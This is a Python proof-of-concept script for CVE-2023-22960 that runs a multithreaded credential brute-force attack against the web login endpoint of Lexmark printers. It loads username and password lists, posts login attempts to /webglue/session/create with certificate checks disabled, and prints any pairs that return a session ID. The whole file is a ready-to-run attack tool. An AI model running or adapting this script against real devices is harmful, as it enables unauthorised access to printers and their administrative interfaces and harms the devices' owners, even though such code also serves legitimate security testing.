#!/usr/bin/env python3 # # Author: Panagiotis Chartas (t3l3machus) # Usage: lexmark-brute-force-login.py -t TARGET -P PROTOCOL -u USERNAMES_FILE -p PASSWORDS_FILE [-h] # # https://github.com/t3l3machus import requests, threading, re, argparse from random import randint requests.packages.urllib3.disable_warnings() # -------------- Arguments -------------- # parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True) parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True) parser.add_argument("-u", "--usernames-file", action="store", help = "File containing a usernames list", required = True) parser.add_argument("-p", "--passwords-file", action="store", help = "File containing a passwords list.", required = True) args = parser.parse_args() # Colors MAIN = '\033[38;5;50m' FAIL = '\033[1;91m' END = '\033[0m' BOLD = '\033[1m' ORANGE = '\033[0;38;5;214m' GREEN = '\033[38;5;82m' MAIN_BULLET = f'[{MAIN}*{END}]' # Threading max_threads = 80 thread_limiter = threading.BoundedSemaphore(max_threads) # Request # The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create login_url = f'{args.protocol}://{args.target}/webglue/session/create' headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', 'X-Requested-With': 'XMLHttpRequest', 'Connection': 'keep-alive', 'Cookie': 'lang=en; autoLogin=false', 'Sec-Fetch-Dest': 'empty', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Site': 'same-origin' } # Usernames & Passwords def get_file_contents(path): f = open(path, 'r') contents = f.readlines() f.close() return contents usernames = get_file_contents(args.usernames_file) passwords = get_file_contents(args.passwords_file) users_count = len(usernames) passwds_count = len(passwords) def bruteforce(user): thread_limiter.acquire() for passwd in passwords: passwd = passwd.strip() authId = randint(-1000000, 1000000) data = '{"authtype" : 0, "authId" : ' + str(authId) + ', "creds": {"username" : "' + user + '", "password" : "' + passwd + '"}}' post_req_data = {'data': data, 'lang':'en'} try: response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers) content = response.content.decode() if re.search('sessionId', content): print(f'{GREEN}{user}{END} : {GREEN}{passwd}{END}\n' + content + '\n') # Comment out the else statement for non verbose output else: print(f'{ORANGE}{user}{END} : {ORANGE}{passwd}{END} ' + content) except: print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]') thread_limiter.release() def main(): print(f'\r{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus){END}') print(f'{MAIN_BULLET} Initiating credentials brute force attack against: {login_url}{END}') print(f'{MAIN_BULLET} Number of usernames loaded:{END} {users_count}') print(f'{MAIN_BULLET} Number of passwords loaded:{END} {passwds_count}') print(f'{MAIN_BULLET} Estimated number of queued login attempts:{END} {users_count*passwds_count}') for user in usernames: threading.Thread(target = bruteforce, args = (user.strip(),)).start() if __name__ == '__main__': main()